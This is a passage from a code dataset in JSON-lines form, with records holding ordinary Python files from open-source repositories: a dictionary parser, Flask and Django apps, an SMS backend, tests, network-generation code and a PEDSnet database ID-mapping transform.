continue\r\n\r\n origchar = tag.text\r\n\r\n if origchar not in origcharlist:\r\n origcharlist.append(origchar)\r\n\r\n # fix encoding errors\r\n\r\n if origchar in chardict:\r\n char = chardict[origchar]\r\n else:\r\n char = origchar\r\n\r\n if char not in revcharlist:\r\n revcharlist.append(char)\r\n\r\n size = tag.get('size')\r\n\r\n acceptsize = [lang1size, lang2size, possize, numdelsize, parnotesize]\r\n\r\n if size not in acceptsize:\r\n continue\r\n\r\n font = tag.get('font')\r\n \r\n if (char == '(' or char == ')'): # fixes incorrectly typeset parentheses\r\n font = parnotefont\r\n size = parnotesize\r\n \r\n if font == lang1font and size == lang1size: \r\n if char == ' ' and prevcharstate != 'lang1': \r\n continue\r\n charstate = 'lang1'\r\n if prevcharstate == 'pos':\r\n lang1 = note = pos = lang2 = num = '' # wipes out the current line if there is no lang2 expression, does not print\r\n if prevcharstate == 'lang2' or prevcharstate == 'note': # if new lang1 headword and previous state was lang2 or parenthetical note, print line and start over\r\n output_record(out, lang1, pos, lang2, note)\r\n lang1 = note = pos = lang2 = num = ''\r\n lang1 += char\r\n\r\n elif font == numdelfont and size == numdelsize and re.match(r'[\\d\\.]', char): \r\n if prevcharstate == 'lang2' or prevcharstate == 'note':\r\n output_record(out, lang1, pos, lang2, note)\r\n note = lang2 = num = '' # don't reset lang1 or pos back to ''\r\n if prevcharstate == 'num': # ignore the second character of a number (if there is one) and the following period\r\n continue\r\n charstate = 'num'\r\n num += char\r\n\r\n elif font == lang2font and size == lang2size: \r\n if char == ' ' and prevcharstate != 'lang2':\r\n continue\r\n charstate = 'lang2'\r\n lang2 += char\r\n \r\n elif font == parnotefont and size == parnotesize and (char == '(' or charstate == 'note'): \r\n charstate = 'note'\r\n note += char\r\n\r\n elif font == posfont and size == possize: \r\n if prevcharstate != 'pos': \r\n pos = '' \r\n charstate = 'pos'\r\n pos += char\r\n \r\n else:\r\n continue\r\n\r\n\r\noutput_record(out, lang1, pos, lang2, note) # gets output for last line in source\r\n\r\nout.close()\r\n\r\nchar_inventory(origcharlist, revcharlist) # outputs a list of characters encoded in xml input, and revised characters in txt output \r\n", "source": "longnow/panlex-tools", "license": "MIT"} {"text": "from typing import Callable\nfrom flask import Flask, jsonify, request\nfrom .encoder import CustomJSONEncoder\nfrom .models import DeviceAttributes\nfrom .iplink import IpLink\nfrom .controllers import show_devices, show_device\nfrom logging import Logger\n\n\ndef create_app(fct: Callable[[Logger], IpLink]):\n app = Flask(__name__)\n app.json_encoder = CustomJSONEncoder\n\n iplink = fct(app.logger)\n\n @app.route('/')\n def app_show_devices():\n return jsonify(show_devices(iplink))\n\n @app.route('/')\n def app_show_device(name: str):\n return jsonify(show_device(iplink, name))\n\n @app.route('/', methods=['POST'])\n def app_add_device(name: str):\n print(request)\n return jsonify(show_device(iplink, name))\n\n return app\n", "source": "Carsten-Leue/learn-flask", "license": "MIT"} {"text": "cities = [\n 'Vilnius',\n 'Kaunas',\n 'Klaipeda',\n 'Siauliai',\n 'Panevezys',\n 'Alytus',\n 'Dainava (Kaunas)',\n 'Eiguliai',\n 'Marijampole',\n 'Mazeikiai',\n 'Silainiai',\n 'Fabijoniskes',\n 'Jonava',\n 'Utena',\n 'Pasilaiciai',\n 'Kedainiai',\n 'Seskine',\n 'Lazdynai',\n 'Telsiai',\n 'Visaginas',\n 'Taurage',\n 'Justiniskes',\n 'Ukmerge',\n 'Aleksotas',\n 'Plunge',\n 'Naujamiestis',\n 'Kretinga',\n 'Silute',\n 'Vilkpede',\n 'Radviliskis',\n 'Pilaite',\n 'Palanga',\n 'Druskininkai',\n 'Gargzdai',\n 'Rokiskis',\n 'Birzai',\n 'Kursenai',\n 'Garliava',\n 'Elektrenai',\n 'Jurbarkas',\n 'Vilkaviskis',\n 'Raseiniai',\n 'Anyksciai',\n 'Naujoji Akmene',\n 'Lentvaris',\n 'Grigiskes',\n 'Prienai',\n 'Joniskis',\n 'Kelme',\n 'Rasos',\n 'Varena',\n 'Kaisiadorys',\n 'Pasvalys',\n 'Kupiskis',\n 'Zarasai',\n 'Skuodas',\n 'Sirvintos',\n 'Kazlu Ruda',\n 'Moletai',\n 'Salcininkai',\n 'Svencioneliai',\n 'Sakiai',\n 'Ignalina',\n 'Pabrade',\n 'Kybartai',\n 'Nemencine',\n 'Silale',\n 'Pakruojis',\n 'Svencionys',\n 'Trakai',\n 'Vievis'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "#-*- coding: utf-8 -*-\n\"\"\"\nthis backend requires the twilio python library: http://pypi.python.org/pypi/twilio/\n\"\"\"\nfrom twilio.rest import TwilioRestClient\nfrom django.conf import settings\nfrom sendsms.backends.base import BaseSmsBackend\n\nTWILIO_ACCOUNT_SID = getattr(settings, 'SENDSMS_TWILIO_ACCOUNT_SID', '')\nTWILIO_AUTH_TOKEN = getattr(settings, 'SENDSMS_TWILIO_AUTH_TOKEN', '')\n\nclass SmsBackend(BaseSmsBackend):\n def send_messages(self, messages):\n client = TwilioRestClient(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)\n for message in messages:\n for to in message.to:\n try:\n msg = client.sms.messages.create(\n to=to,\n from_=message.from_phone,\n body=message.body\n )\n except:\n if not self.fail_silently:\n raise", "source": "kelvinwong-ca/django-sendsms", "license": "MIT"} {"text": "import pytest\nfrom config.app import create_app\nfrom config.initializers.errors import RequestErrorHandling\nfrom config.db import db as _db\n\n\n@pytest.fixture()\ndef app():\n app = create_app()\n\n RequestErrorHandling(app)\n # Router has to be imported at last as it in turns loads the application code\n with app.app_context():\n from config.router import load_blueprints\n load_blueprints(app)\n\n return app\n\n\n@pytest.fixture(scope='function', autouse=True)\ndef db(app, request):\n _db.drop_all()\n _db.create_all()\n return _db\n", "source": "practo/federation", "license": "MIT"} {"text": "###\n#\n# Full history: see below\n#\n# Version: 1.0.0\n# Date: 2020-04-26\n# Author: Yves Vindevogel (vindevoy)\n#\n# Original code:\n# https://openvpn.net/vpn-server-resources/how-to-redirect-http-to-https/\n# Adapted to version 3 of Python and slightly modified\n#\n###\n\nimport http.server\nimport socketserver\nimport getopt\nimport sys\n\nPORT = 80\nTARGET_URL = 'https://127.0.0.1'\n\n\nclass Redirect(http.server.SimpleHTTPRequestHandler):\n def do_GET(self):\n self.send_response(301)\n self.send_header('Location', TARGET_URL)\n self.end_headers()\n\n\nif __name__ == '__main__':\n opts, args = getopt.getopt(sys.argv[1:], 'u:p:', ['url=', 'port='])\n\n for opt, arg in opts:\n if opt in ['-u', '--url']:\n TARGET_URL = arg\n if opt in ['-p', '--port']:\n PORT = int(arg)\n\n handler = socketserver.TCPServer((\"\", PORT), Redirect)\n handler.serve_forever()\n", "source": "vindevoy/cherryblog", "license": "MIT"} {"text": "from django.contrib import admin\nfrom .models import Actor\n\n# Register your models here.\n\n@admin.register(Actor)\nclass ActorAdmin(admin.ModelAdmin):\n\tpass\n\n", "source": "ravshansk/ajans", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# --------------------( LICENSE )--------------------\n# Copyright (c) 2014-2021 Beartype authors.\n# See \"LICENSE\" for further details.\n\n'''\nProject-wide **Python interpreter** utilities.\n\nThis private submodule is *not* intended for importation by downstream callers.\n'''\n\n# ....................{ IMPORTS }....................\nfrom beartype._util.cache.utilcachecall import callable_cached\nfrom platform import python_implementation\n\n# See the \"beartype.cave\" submodule for further commentary.\n__all__ = ['STAR_IMPORTS_CONSIDERED_HARMFUL']\n\n# ....................{ TESTERS }....................\n@callable_cached\ndef is_py_pypy() -> bool:\n '''\n ``True`` only if the active Python interpreter is **PyPy**.\n\n This tester is memoized for efficiency.\n '''\n\n return python_implementation() == 'PyPy'\n", "source": "vcokltfre/beartype", "license": "MIT"} {"text": "from __future__ import division\nimport numpy as np\nimport seaborn as sns\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import NoNorm\nimport random\nfrom scipy.linalg import circulant\nimport networkx as nx\n\ndef _distance_matrix(L):\n Dmax = L//2\n \n D = list(range(Dmax+1))\n D += D[-2+(L%2):0:-1]\n \n return circulant(D)/Dmax\n \ndef _pd(d, p0, beta):\n return beta*p0 + (d <= p0)*(1-beta)\n \ndef watts_strogatz(L, p0, beta, directed=False, rngseed=1):\n rng = np.random.RandomState(rngseed)\n \n d = _distance_matrix(L)\n p = _pd(d, p0, beta)\n \n if directed:\n A = 1*(rng.random_sample(p.shape) < p)\n np.fill_diagonal(A, 0)\n else:\n upper = np.triu_indices(L, 1)\n \n A = np.zeros_like(p, dtype=int)\n A[upper] = 1*(rng.rand(len(upper[0])) < p[upper])\n A.T[upper] = A[upper]\n \n return A\n\ndef preserve_self_loops(matrix0, edges):\n # matrix0 needs to have 1's in the diagonal for this to work\n matrix1=matrix0\n for i in np.arange(0,matrix0.shape[0]):\n deg_dist = np.count_nonzero(matrix0[i,:])\n if deg_dist > edges:\n for k in np.arange(0,deg_dist-edges):\n non_zeros = (np.where(matrix0[i,:]>0)[0]).tolist()\n non_zeros.remove(i)\n random_index = non_zeros[np.random.randint(0,len(non_zeros))]\n matrix1[i,random_index] = 0\n return matrix1\n\ndef D_norm(D0):\n size = D0.shape[0]\n D1 = np.zeros((size,size)) # Preallocate matrix\n for i in np.arange(size):\n D1[:,i] = (D0[:,i] / D0[:,i].sum()).T\n return D1\n\ndef gen_rand_matrix(seed): \n # Network size = 20\n #! Note: directed = False produces a symmetric matrix\n random.seed(seed)\n\n L = 20\n K = 4\n p0 = K/(L-1)\n regular = watts_strogatz(beta=0,directed=False,L=L,p0=p0)\n\n G = nx.Graph()\n G.add_nodes_from(np.arange(0,20))\n\n for i in np.arange(0,20):\n for j in np.arange(0,20):\n if regular[i,j] == 1:\n G.add_edge(i,j)\n \n reg_G = nx.to_numpy_matrix(G)\n di = np.diag_indices(20)\n\n random_G = nx.double_edge_swap(nx.from_numpy_matrix(reg_G), nswap=20, max_tries=1000)\n random_G2 = nx.to_numpy_matrix(random_G)\n\n di = np.diag_indices(20)\n random_G2[di]=1\n\n random_G2_revised = np.asarray(preserve_self_loops(random_G2,edges=5))\n \n random_G2_norm = D_norm(random_G2_revised)\n \n return random_G2_norm\n", "source": "pinskylab/networks_eco_evo", "license": "MIT"} {"text": "from ..utils import TranspileTestCase, UnaryOperationTestCase, BinaryOperationTestCase, InplaceOperationTestCase, \\\n MagicMethodFunctionTestCase\n\n\nclass BoolTests(TranspileTestCase):\n def test_setattr(self):\n self.assertCodeExecution(\"\"\"\n x = True\n try:\n x.attr = 42\n except AttributeError as e:\n print(e)\n print('Done.')\n \"\"\")\n\n def test_getattr(self):\n self.assertCodeExecution(\"\"\"\n x = True\n try:\n print(x.attr)\n except AttributeError as e:\n print(e)\n print('Done.')\n \"\"\")\n\n\nclass MagicMethodFunctionTests(MagicMethodFunctionTestCase, TranspileTestCase):\n data_type = 'bool'\n MagicMethodFunctionTestCase._add_tests(vars(), bool)\n\n not_implemented = [\n # All these should be returning NotImplemented and delegating to the __rxxx__ versions\n # of the other types.\n \"test__add__complex\",\n \"test__add__float\",\n \"test__floordiv__float\",\n \"test__mod__float\",\n \"test__mul__bytearray\",\n \"test__mul__bytes\",\n \"test__mul__complex\",\n \"test__mul__float\",\n \"test__mul__list\",\n \"test__mul__str\",\n \"test__mul__tuple\",\n \"test__pow__complex\",\n \"test__pow__float\",\n \"test__sub__complex\",\n \"test__sub__float\",\n \"test__truediv__complex\",\n \"test__truediv__float\",\n\n \"test__radd__complex\",\n \"test__radd__float\",\n \"test__rfloordiv__bool\",\n \"test__rfloordiv__float\",\n \"test__rfloordiv__int\",\n \"test__rmod__bool\",\n \"test__rmod__float\",\n \"test__rmod__int\",\n \"test__rmul__bytearray\",\n \"test__rmul__bytes\",\n \"test__rmul__complex\",\n \"test__rmul__float\",\n \"test__rmul__list\",\n \"test__rmul__str\",\n \"test__rmul__tuple\",\n \"test__rpow__bool\",\n \"test__rpow__complex\",\n \"test__rpow__float\",\n \"test__rpow__int\",\n \"test__rlshift__bool\",\n \"test__rlshift__int\",\n \"test__rrshift__bool\",\n \"test__rrshift__int\",\n \"test__rsub__bool\",\n \"test__rsub__complex\",\n \"test__rsub__float\",\n \"test__rsub__int\",\n \"test__rtruediv__bool\",\n \"test__rtruediv__complex\",\n \"test__rtruediv__float\",\n \"test__rtruediv__int\",\n ]\n\n\nclass UnaryBoolOperationTests(UnaryOperationTestCase, TranspileTestCase):\n data_type = 'bool'\n\n\nclass BinaryBoolOperationTests(BinaryOperationTestCase, TranspileTestCase):\n data_type = 'bool'\n\n\nclass InplaceBoolOperationTests(InplaceOperationTestCase, TranspileTestCase):\n data_type = 'bool'\n", "source": "awildtechno/batavia", "license": "BSD-3-Clause"} {"text": "import logging\nimport sqlalchemy\nimport time\n\nfrom pedsnetdcc import VOCAB_TABLES, FACT_RELATIONSHIP_DOMAINS\nfrom pedsnetdcc.abstract_transform import Transform\nfrom pedsnetdcc.db import Statement, StatementList\nfrom pedsnetdcc.dict_logging import secs_since\nfrom pedsnetdcc.utils import check_stmt_err, check_stmt_data\n\n# Pre-transform ID map creation statements.\n\nnew_id_count_sql = \"\"\"SELECT COUNT(*)\nFROM {table_name} LEFT JOIN {map_table_name} ON {pkey_name} = site_id\nWHERE site_id IS NULL\"\"\"\nnew_id_count_msg = \"counting new IDs needed for {table_name}\"\n\nlock_last_id_sql = \"\"\"LOCK {last_id_table_name}\"\"\"\nlock_last_id_msg = \"locking {table_name} last ID tracking table for update\"\n\nupdate_last_id_sql = \"\"\"UPDATE {last_id_table_name} AS new\nSET last_id = new.last_id + '{new_id_count}'::bigint\nFROM {last_id_table_name} AS old RETURNING old.last_id, new.last_id\"\"\"\nupdate_last_id_msg = \"updating {table_name} last ID tracking table to reserve new IDs\" # noqa\n\ninsert_new_maps_sql = \"\"\"INSERT INTO {map_table_name} (site_id, {id_name}_id)\nSELECT {pkey_name}, row_number() over (range unbounded preceding) + '{old_last_id}'::bigint\nFROM {table_name} LEFT JOIN {map_table_name} on {pkey_name} = site_id\nWHERE site_id IS NULL\"\"\" # noqa\ninsert_new_maps_msg = \"inserting new {table_name} ID mappings into map table\"\n\n# Mapping and last ID table naming conventions.\n\nmap_table_name_tmpl = \"{table_name}_ids\"\nlast_id_table_name_tmpl = \"{id_name}_{table_name}_id\"\n\nCREATE_ID_MAP_INDEX_SQL = \"\"\"CREATE INDEX IF NOT EXISTS {0}_maps_idx_site ON {0}_ids (site_id)\"\"\"\n\nlogger = logging.getLogger(__name__)\n\n\nclass IDMappingTransform(Transform):\n @classmethod\n def pre_transform(cls, conn_str, metadata, id_name='dcc'):\n \"\"\"Generate DCC IDs in the database.\n\n See also Transform.pre_transform.\n\n :raises ValueError: if any of the non-vocabulary tables in metadata\n have composite primary keys\n \"\"\"\n\n logger.info({'msg': 'starting ID mapping pre-transform'})\n starttime = time.time()\n\n for table_name in set(metadata.tables.keys()) - set(VOCAB_TABLES):\n\n # Fact relationship and lab_site_mapping tables have no primary key to map.\n if table_name == 'fact_relationship' or table_name == 'lab_site_mapping':\n continue\n\n # Drug Strength table has two primary keys (really belongs in vocab).\n if table_name == 'drug_strength':\n continue\n\n # Get table object and start to build tpl_vars map, which will be\n # used throughout for formatting SQL statements.\n table = metadata.tables[table_name]\n tpl_vars = {'table_name': table_name}\n\n # Set name of the id\n tpl_vars['id_name'] = id_name\n\n\n # In some versions the death table has a primary key constraint\n # on the person_id column.\n if (table_name == 'death' and\n 'person_id' in table.primary_key.columns):\n continue\n\n # Error if the table has more than one primary key column.\n if len(table.primary_key.columns) > 1:\n err = ValueError('cannot generate IDs for multi-column primary'\n ' key on table {0}'.format(table_name))\n logger.error({'msg': 'exiting ID mapping pre-transform',\n 'table': table_name, 'err': err})\n raise err\n\n # Error if the table has no primary key column (except death).\n if len(table.primary_key.columns) == 0:\n # In some versions the death table has no primary key.\n if table_name == 'death':\n continue\n\n err = ValueError('cannot generate IDs for table {0} with no'\n ' primary key'.format(table_name))\n logger.error({'msg': 'exiting ID mapping pre-transform',\n 'table': table_name, 'err': err})\n raise err\n\n # Get primary key, mapping table, and last id tracking table names.\n # The mapping table and last id tracking table names are defined\n # by convention.\n tpl_vars['pkey_name'] = list(table.primary_key.columns.keys())[0]\n tpl_vars['map_table_name'] = map_table_name_tmpl.format(**tpl_vars)\n tpl_vars['last_id_table_name'] = last_id_table_name_tmpl.\\\n format(**tpl_vars)\n\n # Build the statement to count how many new ID mappings are needed.\n new_id_count_stmt = Statement(new_id_count_sql.format(**tpl_vars),\n new_id_count_msg.format(**tpl_vars))\n\n # Execute the new ID mapping count statement and ensure it didn't\n # error and did return a result.\n new_id_count_stmt.execute(conn_str)\n check_stmt_err(new_id_count_stmt, 'ID mapping pre-transform')\n check_stmt_data(new_id_count_stmt, 'ID mapping pre-transform')\n\n # Get the actual count of new ID maps needed and log it.\n tpl_vars['new_id_count'] = new_id_count_stmt.data[0][0]\n logger.info({'msg': 'counted new IDs needed', 'table': table_name,\n 'count': tpl_vars['new_id_count']})\n\n # Build list of two last id table update statements that need to\n # occur in a single transaction to prevent race conditions.\n update_last_id_stmts = StatementList()\n update_last_id_stmts.append(Statement(\n lock_last_id_sql.format(**tpl_vars),\n lock_last_id_msg.format(**tpl_vars)))\n update_last_id_stmts.append(Statement(\n update_last_id_sql.format(**tpl_vars),\n update_last_id_msg.format(**tpl_vars)))\n\n # Execute last id table update statements and ensure they didn't\n # error and the second one returned results.\n update_last_id_stmts.serial_execute(conn_str, transaction=True)\n\n for stmt in update_last_id_stmts:\n check_stmt_err(stmt, 'ID mapping pre-transform')\n check_stmt_data(update_last_id_stmts[1],\n 'ID mapping pre-transform')\n\n # Get the old and new last IDs from the second update statement.\n tpl_vars['old_last_id'] = update_last_id_stmts[1].data[0][0]\n tpl_vars['new_last_id'] = update_last_id_stmts[1].data[0][1]\n logger.info({'msg': 'last ID tracking table updated',\n 'table': table_name,\n 'old_last_id': tpl_vars['old_last_id'],\n 'new_last_id': tpl_vars['new_last_id']})\n\n # Build statement to generate new ID maps.\n insert_new_maps_stmt = Statement(\n insert_new_maps_sql.format(**tpl_vars),\n insert_new_maps_msg.format(**tpl_vars))\n\n # Execute new map generation statement and ensure it didn't error.\n insert_new_maps_stmt.execute(conn_str)\n check_stmt_err(insert_new_maps_stmt, 'id mapping pre-transform')\n logger.info({'msg': 'generated new ID mappings',\n 'table': table_name,\n 'count': insert_new_maps_stmt.rowcount,\n 'elapsed': secs_since(starttime)})\n\n index_stmt = Statement(CREATE_ID_MAP_INDEX_SQL.format(table))\n index_stmt.execute(conn_str)\n check_stmt_err(index_stmt, 'id mapping indexes')\n logger.info({'msg': 'created ID mapping indexes',\n 'table': table_name,\n 'elapsed': secs_since(starttime)})\n\n\n @classmethod\n def modify_select(cls, metadata, table_name, select, join, id_name='dcc'):\n \"\"\"Alter foreign key columns to get mapped DCC IDs.\n\n The primary key and each foreign key which points at a data table\n (i.e., not a vocabulary table) is altered to instead get the dcc_id's\n from the mapping table, which requires a join to be added.\n \"\"\"\n\n # Get table object.\n table = metadata.tables[table_name]\n\n # Raise error if attempted on a multi-column primary key table.\n if len(table.primary_key.columns) > 1:\n raise ValueError('cannot map IDs for multi-column primary key'\n ' on table {0}'.format(table_name))\n\n # Skip primary key mapping if there is none (fact_relationship and pre\n # 2.3 death tables). Also, in some versions, the death table has a\n # primary key constraint on the person_id column.\n if not (len(table.primary_key.columns) == 0 or (table_name == 'death'\n and 'person_id' in table.primary_key.columns)):\n\n # Get primary key name and mapping table name, defined by\n # convention.\n pkey_name = list(table.primary_key.columns.keys())[0]\n map_table_name = map_table_name_tmpl.format(table_name=table_name)\n\n # Construct table object for mapping table, if necessary.\n if map_table_name not in metadata.tables:\n map_table = sqlalchemy.Table(\n map_table_name, metadata,\n sqlalchemy.Column(id_name + '_id', sqlalchemy.Integer),\n sqlalchemy.Column('site_id', sqlalchemy.Integer))\n else:\n map_table = metadata.tables[map_table_name]\n\n map_table_alias = map_table.alias()\n join = join.join(map_table_alias, table.c[pkey_name] ==\n map_table_alias.c['site_id'])\n\n # Create a new select object, because we need to replace the\n # primary key column with the joined mapping table dcc_id column.\n new_select = sqlalchemy.select()\n\n # Get rid of the primary key column.\n for c in select.inner_columns:\n if c.name != pkey_name:\n new_select.append_column(c)\n\n # Add the mapping table dcc_id column as the primary key column.\n new_select.append_column(map_table_alias.c[id_name + '_id'].label(pkey_name))\n\n # Add the original site primary key as the site_id column.\n new_select.append_column(table.c[pkey_name].label('site_id'))\n\n # Put the new select object in the original var for further use.\n select = new_select\n\n # Add a mapping join and column substitution for each foreign key.\n for fkey in table.foreign_key_constraints:\n\n ref_table_name = fkey.referred_table.name\n\n # Do not operate on foreign keys to vocabulary tables.\n if ref_table_name in VOCAB_TABLES:\n continue\n\n # Get foreign key name and mapping table name, defined by\n # convention.\n fkey_name = fkey.column_keys[0]\n map_table_name = map_table_name_tmpl.\\\n format(table_name=ref_table_name)\n\n # Construct table object for mapping table, if necessary.\n if map_table_name not in metadata.tables:\n map_table = sqlalchemy.Table(\n map_table_name, metadata,\n sqlalchemy.Column(id_name + '_id', sqlalchemy.Integer),\n sqlalchemy.Column('site_id', sqlalchemy.Integer))\n else:\n map_table = metadata.tables[map_table_name]\n\n # Make the join an outer join if the foreign key is nullable,\n # otherwise rows without this foreign key will not be included in\n # the final product.\n isouter = table.c[fkey_name].nullable\n\n map_table_alias = map_table.alias()\n # Add a join to the mapping table.)\n join = join.join(map_table_alias, table.c[fkey_name] ==\n map_table_alias.c['site_id'], isouter=isouter)\n\n # Create a new select object, because we need to replace the\n # foreign key column with the joined mapping table dcc_id column.\n new_select = sqlalchemy.select()\n\n # Get rid of the foreign key column.\n for c in select.inner_columns:\n if c.name != fkey_name:\n new_select.append_column(c)\n\n # Add the mapping table dcc_id column as the foreign key column.\n new_select.append_column(map_table_alias.c[id_name + '_id'].label(fkey_name))\n\n # Put the new select object back in the original var for next use.\n select = new_select\n\n # Special handling for fact_relationship.\n if table_name == 'fact_relationship':\n\n case_1 = {}\n case_2 = {}\n\n for ref_table_name, domain_concept_id in \\\n FACT_RELATIONSHIP_DOMAINS.items():\n\n # Get mapping table name, by convention.\n map_table_name = map_table_name_tmpl.\\\n format(table_name=ref_table_name)\n\n # Construct table object for mapping table, if necessary.\n if map_table_name not in metadata.tables:\n map_table = sqlalchemy.Table(\n map_table_name, metadata,\n sqlalchemy.Column(id_name + '_id', sqlalchemy.Integer),\n sqlalchemy.Column('site_id', sqlalchemy.Integer))\n else:\n map_table = metadata.tables[map_table_name]\n\n # Make two aliases of the mapping table for joining to each of\n # the fact_id columns.\n map_table_1 = map_table.alias()\n map_table_2 = map_table.alias()\n\n # Add two joins to the mapping table\n join = join.join(map_table_1, sqlalchemy.and_(\n table.c['fact_id_1'] ==\n map_table_1.c['site_id'],\n table.c['domain_concept_id_1'] ==\n domain_concept_id),\n isouter=True)\n join = join.join(map_table_2, sqlalchemy.and_(\n table.c['fact_id_2'] ==\n map_table_2.c['site_id'],\n table.c['domain_concept_id_2'] ==\n domain_concept_id),\n isouter=True)\n\n # Add conditions to the case dictionary constructs.\n case_1[domain_concept_id] = map_table_1.c[id_name + '_id']\n case_2[domain_concept_id] = map_table_2.c[id_name + '_id']\n\n # Create a new select object, because we need to replace the\n # fact_id columns with the case constructs.\n new_select = sqlalchemy.select()\n\n # Get rid of the fact_id columns.\n for c in select.inner_columns:\n if c.name not in ['fact_id_1', 'fact_id_2']:\n new_select.append_column(c)\n\n # Add the case constructs as the new fact_id columns.\n new_select.append_column(sqlalchemy.case(\n case_1, value=table.c['domain_concept_id_1']).\n label('fact_id_1'))\n new_select.append_column(sqlalchemy.case(\n case_2, value=table.c['domain_concept_id_2']).\n label('fact_id_2'))\n\n # Add the original fact_id columns as the site_id columns.\n new_select.append_column(table.c['fact_id_1'].label('site_id_1'))\n new_select.append_column(table.c['fact_id_2'].label('site_id_2'))\n\n # Put the new select object in the original var for further use.\n select = new_select\n\n return select, join\n\n @classmethod\n def modify_table(cls, metadata, table):\n \"\"\"Helper function to apply the transformation to a table in place.\n See Transform.modify_table for signature.\n \"\"\"\n\n if len(table.primary_key.columns) == 1 and not \\\n (table.name == 'death' and 'person_id' in\n table.primary_key.columns):\n new_col = sqlalchemy.Column('site_id', sqlalchemy.Integer)\n table.append_column(new_col)\n\n if table.name == 'fact_relationship':\n new_col_1 = sqlalchemy.Column('site_id_1', sqlalchemy.Integer)\n new_col_2 = sqlalchemy.Column('site_id_2', sqlalchemy.Integer)\n table.append_column(new_col_1)\n table.append_column(new_col_2)\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"} {"text": "# coding: utf-8\n\n# -----------------------------------------------------------------------------------\n# \n# Copyright (c) 2003-2021 Aspose Pty Ltd\n# \n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# \n# -----------------------------------------------------------------------------------\n\nfrom __future__ import absolute_import\n\nimport unittest\nimport os\n\nfrom groupdocs_annotation_cloud import *\nfrom test.test_context import TestContext\nfrom test.test_file import TestFile\n\nclass TestAnnotateApi(TestContext):\n \"\"\"AnnotateApi unit tests\"\"\"\n\n def test_add_annotate(self):\n for test_file in TestFile.get_test_files_annotation():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n options = AnnotateOptions()\n options.file_info = file_info\n options.annotations = self.GetAnnotations()\n options.output_path = self.outputDir + \"/\" + test_file.file_name\n\n request = AnnotateRequest(options)\n result = self.annotate_api.annotate(request) \n self.assertGreater(len(result['href']), 0)\n\n def test_add_annotate_direct(self):\n for test_file in TestFile.get_test_files_annotation():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n options = AnnotateOptions()\n options.file_info = file_info\n options.annotations = self.GetAnnotations()\n options.output_path = self.outputDir + \"/\" + test_file.file_name\n\n request = AnnotateDirectRequest(options)\n result = self.annotate_api.annotate_direct(request) \n self.assertGreater(len(result), 0)\n\n def test_extract(self):\n for test_file in TestFile.get_test_files_with_annotations():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n\n request = ExtractRequest(file_info)\n result = self.annotate_api.extract(request) \n self.assertGreater(len(result), 0)\n\n def test_remove_annotations(self):\n for test_file in TestFile.get_test_files_with_annotations():\n file_info = FileInfo()\n file_info.file_path = test_file.folder + test_file.file_name\n file_info.password = test_file.password\n options = RemoveOptions()\n options.file_info = file_info\n options.annotation_ids = [1, 2, 3]\n options.output_path = self.outputDir + \"/\" + test_file.file_name\n\n request = RemoveAnnotationsRequest(options)\n result = self.annotate_api.remove_annotations(request) \n self.assertGreater(len(result['href']), 0)\n \n @staticmethod\n def GetAnnotations():\n a = AnnotationInfo()\n a.annotation_position = Point()\n a.annotation_position.x = 852\n a.annotation_position.y = 59.388262910798119\n a.box = Rectangle()\n a.box.x = 375.89276123046875\n a.box.y = 59.388263702392578\n a.box.width = 88.7330551147461\n a.box.height = 37.7290153503418\n a.page_number = 0\n a.pen_color = 1201033\n a.pen_style = \"Solid\"\n a.pen_width = 1\n a.type = \"Area\"\n a.creator_name = \"Anonym A.\"\n return [a]\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "groupdocs-annotation-cloud/groupdocs-annotation-cloud-python", "license": "MIT"} {"text": "# Create your views here.\n\nfrom django.http import JsonResponse\nfrom django.views.generic import ListView, DetailView\n\nfrom event.models import EventUser\nfrom eviteapi.models import Event\nfrom django.core.mail import send_mail\n\n\n# home view for Event. Event are displayed in a list\nclass IndexView(ListView):\n template_name = 'event/index.html'\n context_object_name = 'event_list'\n\n def get_queryset(self):\n return Event.objects.all().order_by('start_time')\n\n\nclass EventSignUp(DetailView):\n model = Event\n template_name = 'event/event-signup.html'\n\n\ndef eventsubscribe(request):\n try:\n user_id = request.POST['email']\n event_id = request.POST['event_id']\n if user_id == '':\n data = {'message': \"Please input email address\"}\n return JsonResponse(data)\n\n event_user = EventUser.objects.filter(user_id=user_id, event_id=event_id)\n if len(event_user) > 0:\n data = {'message': \"Event already subscribed\"}\n return JsonResponse(data)\n\n event_user = EventUser(user_id=user_id, event_id=Event.objects.get(id=event_id))\n event_user.save()\n if event_user is not None:\n # event = Event.objects.get(id=event_id)\n # send_mail(\n # 'Subscribed for event: ' + str(event.name),\n # 'Thanks for the sign up to this event',\n # 'test@gmail.com',\n # [str(user_id)],\n # fail_silently=False,\n # )\n data = {'message': \"Event successfully subscribed.\"}\n return JsonResponse(data)\n except Exception as e:\n data = {'message': \"Something wrong.\" + str(e)}\n return JsonResponse(data)\n\n\ndef eventunsubscribe(request):\n try:\n user_id = request.POST['email']\n event_id = request.POST['event_id']\n if user_id == '':\n data = {'message': \"Please input email 